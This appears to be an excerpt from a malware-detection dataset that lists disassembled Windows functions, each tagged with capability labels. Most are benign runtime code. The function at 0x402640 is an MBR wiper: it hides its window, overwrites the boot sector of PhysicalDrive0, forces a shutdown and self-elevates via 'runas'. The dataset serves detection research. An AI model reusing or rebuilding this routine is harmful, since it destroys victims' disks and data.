joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017d0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00402610
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00402610
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401830
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40505c]
test esi, esi
jle 0x401950
mov eax, dword [0x405060]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401864
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x4018e7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401850
mov dword [esp], ebx
call fcn.00402250
mov edi, eax
test eax, eax
je 0x401977
mov eax, dword [0x405060]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402390
mov edx, dword [0x405060]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401957
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x4018e0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x4018f0
add dword [0x40505c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x405060]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4018e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.004017d0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40186e
mov eax, dword [0x405060]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.004017d0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.004017d0
lea esi, [esi]
nop
Function at 0x401f50
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [esp + 0x34]
cmp eax, 2
je 0x402018
ja 0x401f98
test eax, eax
je 0x402030
mov eax, dword [0x405074]
test eax, eax
je 0x402100
mov dword [0x405074], 1
add esp, 0x1c
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 3
jne 0x401f85
mov eax, dword [0x405074]
test eax, eax
je 0x401f85
mov dword [esp], 0x405078
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x405070]
sub esp, 4
test ebx, ebx
je 0x401ffd
mov edi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call edi
sub esp, 4
mov ebp, eax
call esi
test eax, eax
jne 0x402128
test ebp, ebp
je 0x402128
mov eax, dword [ebx + 4]
mov dword [esp], ebp
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401fd0
mov dword [esp], 0x405078
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x401f85
call fcn.004017c0
add esp, 0x1c
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [0x405074]
test eax, eax
jne 0x402098
mov eax, dword [0x405074]
cmp eax, 1
jne 0x401f85
mov ebx, dword [0x405070]
test ebx, ebx
je 0x402069
lea esi, [esi]
mov eax, ebx
mov ebx, dword [ebx + 8]
mov dword [esp], eax
call sub.msvcrt.dll_free
test ebx, ebx
jne 0x402058
mov dword [0x405070], 0
mov dword [0x405074], 0
mov dword [esp], 0x405078
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
sub esp, 4
jmp 0x401f85
mov dword [esp], 0x405078
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x405070]
sub esp, 4
test ebx, ebx
je 0x4020e5
mov edi, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov eax, dword [ebx]
mov dword [esp], eax
call edi
sub esp, 4
mov ebp, eax
call esi
test eax, eax
jne 0x402118
test ebp, ebp
je 0x402118
mov eax, dword [ebx + 4]
mov dword [esp], ebp
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4020c0
mov dword [esp], 0x405078
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
jmp 0x402039
mov dword [esp], 0x405078
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
sub esp, 4
jmp 0x401f7b
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4020c0
jmp 0x4020e5
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401fd0
jmp 0x401ffd

Function at 0x402250
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402275
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402280
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402275
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x4022c8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4022be
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4022ca
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4022b0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x402640
Capabilities:
Create process on windows
Execute command
Hide graphical window
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0x23c
call fcn.004015b0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_ShowWindow]
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0xc0000000
mov dword [esp], str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x402758
movdqa xmm0, xmmword [0x404050]
mov ebx, eax
mov eax, 0xffffaa55
mov edx, 0xe1e0dddc
mov word [0x40321e], ax
mov eax, 0x4e4d4c3b
movups xmmword [0x403031], xmm0
movdqa xmm0, xmmword [0x404060]
mov dword [0x403051], eax
lea eax, [ebp - 0x220]
mov dword [0x403055], edx
movups xmmword [0x403041], xmm0
mov byte [0x40321d], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0x403020
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], str.wmic_os_where_primary1_shutdown
call sub.msvcrt.dll_system
lea esp, [ebp - 0xc]
xor eax, eax
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret
xor eax, eax
lea edi, [ebp - 0x220]
mov ecx, 0x82
rep stosd dword es:[edi], eax
lea ebx, [ebp - 0x220]
mov dword [esp], 0
mov dword [esp + 8], 0x104
mov dword [esp + 4], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esp, 0xc
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x404014
mov dword [esp + 8], ebx
mov dword [esp + 4], str.runas
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
sub esp, 0x18
jmp 0x40274b
Function at 0x4064ff
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.004066af
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x4065fd
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4065a0
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x4065e3
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x4065b7
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x4065d2
test al, 0x40
je 0x4065c9
mov ecx, dword [edi + 0x20]
jmp 0x4065d0
test al, 0x80
je 0x4065e3
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x4065e3
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x40656f
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x4524a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x9c4170]
xor edx, edx
cmp eax, edx
jne 0x4524c6
xor eax, eax
mov byte [eax + 0x9c4070], al
inc eax
cmp eax, 0x100
jl 0x4524ae
mov dword [0x9c4170], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x9c4070
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x452557
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x45252a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4524f8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4525d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x452623
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x45260a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4670d0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4b0908
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x467109
inc eax
mov dword [esi + 0x10], eax
jmp 0x46721c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x46711d
mov eax, 0xffffffc7
jmp 0x46721e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x46712e
cmp dword [esi + 8], eax
jne 0x46711d
cmp dword [esi + 8], eax
jne 0x467147
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x467147
mov eax, 0xffffffc7
jmp 0x46721e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x46715b
push eax
mov ecx, ebx
call fcn.00466900
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00435980
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x46718c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.004359a0
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00466070
test eax, eax
mov dword [esp + 0x38], eax
je 0x4671bf
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x993290
call fcn.00435b80
mov eax, dword [esp + 0x38]
jmp 0x46721e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00466f30
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x467203
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00466f50
mov esi, eax
test esi, esi
jne 0x467233
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00466f30
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x4671d5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x993290
call fcn.00435b80
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x993290
call fcn.00435b80
mov eax, esi
jmp 0x46721e
Function at 0x486070
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4b1b30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00485c20
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00485ca0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00485ca0
lea ecx, [esi + 0xc]
call fcn.004a0b9e
lea ecx, [esi + 0x10]
call fcn.004a0b9e
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00487230
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00487230
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00487230
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004a0c13
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004a0c13
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4bef13
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422ac4], 0
push esi
jne 0x4bef4a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4bef24
mov dword [ecx*4 + 0x422ac0], eax
inc ecx
cmp ecx, 0x100
jl 0x4bef1f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4bef7b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422ac0]
xor eax, esi
inc ecx
dec edx
jne 0x4bef5d
pop edi
not eax
pop esi
ret 0xc

Function at 0xfe1100
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0xfe5042], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0xfe5228
push 0xfe5290
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0xfe114b
xor eax, eax
jmp 0xfe1166
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x67541eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov ecx, dword [ebp + 8]
movzx esi, byte [ebp + 0xc]
push ebx
lea esi, [esi]
movzx edx, byte [ecx]
mov ebx, esi
xor ebx, edx
mov eax, edx
lock cmpxchg byte [ecx], bl
cmp dl, al
jne 0x67541ec0
pop ebx
pop esi
pop ebp
ret

Function at 0x67541ff0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov ecx, dword [ebp + 8]
movzx esi, word [ebp + 0xc]
push ebx
lea esi, [esi]
movzx edx, word [ecx]
mov ebx, edx
mov eax, edx
xor ebx, esi
lock cmpxchg word [ecx], bx
cmp dx, ax
jne 0x67542000
pop ebx
pop esi
pop ebp
ret

Function at 0x67542140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov ecx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push ebx
lea esi, [esi]
nop
mov edx, dword [ecx]
mov ebx, edx
mov eax, edx
xor ebx, esi
lock cmpxchg dword [ecx], ebx
cmp edx, eax
jne 0x67542150
pop ebx
pop esi
pop ebp
ret

Function at 0x67542310
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff8
sub esp, 0x18
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov dword [esp], eax
mov dword [esp + 4], edx
lea esi, [esi]
mov eax, dword [ebp + 8]
mov ecx, dword [esp]
mov ebx, dword [esp + 4]
mov edi, dword [ebp + 8]
mov edx, dword [eax + 4]
mov eax, dword [eax]
add ecx, eax
mov dword [esp + 0x10], eax
adc ebx, edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ebx
mov ebx, ecx
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x14], edx
lock cmpxchg8b qword [edi]
mov ebx, eax
mov esi, edx
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
xor eax, ebx
xor edx, esi
or edx, eax
jne 0x67542330
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x67542380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
lea esi, [esi]
mov eax, dword [ebp + 8]
mov ebx, dword [esp + 4]
mov ecx, dword [esp]
mov edi, dword [ebp + 8]
mov edx, dword [eax + 4]
mov eax, dword [eax]
and ecx, edx
and ebx, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
lock cmpxchg8b qword [edi]
mov ebx, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edi, edx
mov esi, eax
mov edx, ebx
xor edx, edi
xor esi, ecx
or edx, esi
jne 0x675423a0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x675423e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff8
sub esp, 0x18
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
lea esi, [esi]
mov eax, dword [ebp + 8]
mov ebx, dword [esp + 4]
mov esi, dword [eax]
mov edi, dword [eax + 4]
mov edx, ebx
mov eax, dword [esp]
imul edx, edi
imul eax, esi
lea ecx, [edx + eax]
mov eax, ebx
mov ebx, esi
mov esi, edi
mul ebx
mov dword [esp + 8], ebx
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], edx
mov edx, esi
mov dword [esp + 0x10], eax
mov eax, ebx
mov ebx, dword [esp + 0x10]
add dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x14]
lock cmpxchg8b qword [edi]
mov ecx, dword [esp + 8]
mov ebx, dword [esp + 0xc]
mov esi, eax
mov edi, edx
mov eax, ecx
mov edx, ebx
xor edx, edi
xor eax, esi
or edx, eax
jne 0x67542400
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x67542470
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
lea esi, [esi]
mov eax, dword [ebp + 8]
mov ebx, dword [esp + 4]
mov ecx, dword [esp]
mov edi, dword [ebp + 8]
mov edx, dword [eax + 4]
mov eax, dword [eax]
or ecx, edx
or ebx, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
lock cmpxchg8b qword [edi]
mov ebx, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edi, edx
mov esi, eax
mov edx, ebx
xor edx, edi
xor esi, ecx
or edx, esi
jne 0x67542490
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x675424d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
lea esi, [esi]
mov eax, dword [ebp + 8]
mov ebx, dword [esp + 4]
mov ecx, dword [esp]
mov edi, dword [ebp + 8]
mov edx, dword [eax + 4]
mov eax, dword [eax]
xor ecx, edx
xor ebx, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
lock cmpxchg8b qword [edi]
mov ebx, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edi, edx
mov esi, eax
mov edx, ebx
xor edx, edi
xor esi, ecx
or edx, esi
jne 0x675424f0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x67542530
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff8
sub esp, 0x18
mov eax, dword [ebp + 0x10]
or eax, dword [ebp + 0xc]
setne byte [esp + 4]
lea esi, [esi]
nop
mov eax, dword [ebp + 8]
xor ebx, ebx
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov eax, edx
mov dword [esp + 0x10], edx
or eax, ecx
mov dword [esp + 0x14], ecx
mov eax, edx
mov edx, ecx
mov ecx, dword [esp + 0xc]
setne bl
and ebx, dword [esp + 4]
mov dword [esp + 8], ebx
lock cmpxchg8b qword [edi]
mov ecx, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
mov esi, eax
mov edi, edx
mov eax, ecx
mov edx, ebx
xor edx, edi
xor eax, esi
or edx, eax
jne 0x67542550
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x67542640
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff8
sub esp, 0x10
mov esi, dword [ebp + 8]
movsd xmm0, qword [ebp + 0xc]
lea esi, [esi]
nop
mov eax, dword [esi]
mov edx, dword [esi + 4]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
movsd xmm1, qword [esp + 8]
addsd xmm1, xmm0
movsd qword [esp], xmm1
mov ebx, dword [esp]
mov ecx, dword [esp + 4]
lock cmpxchg8b qword [esi]
mov ecx, eax
mov ebx, edx
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
xor eax, ecx
xor edx, ebx
or edx, eax
jne 0x67542658
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x675426a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff8
sub esp, 0x10
mov esi, dword [ebp + 8]
movsd xmm0, qword [ebp + 0xc]
lea esi, [esi]
nop
mov eax, dword [esi]
mov edx, dword [esi + 4]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
movsd xmm1, qword [esp + 8]
mulsd xmm1, xmm0
movsd qword [esp], xmm1
mov ebx, dword [esp]
mov ecx, dword [esp + 4]
lock cmpxchg8b qword [esi]
mov ecx, eax
mov ebx, edx
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
xor eax, ecx
xor edx, ebx
or edx, eax
jne 0x675426b8
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x675428a0
Capabilities:
Get process heap flags
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x67548058]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x675428f9
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [0x67548058]
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
sub esp, 8
leave
ret

Function at 0x675429b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
test byte [0x67548064], 2
jne 0x675429d0
mov dword [esp], 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov dword [esp + 0xc], str.could_not_allocate_critical_section_n
mov dword [esp + 8], str.alloc_critsect
mov dword [esp + 4], 0x67548064
mov dword [esp], 1
call sym._wine_dbg_log.constprop.0
jmp 0x675429bf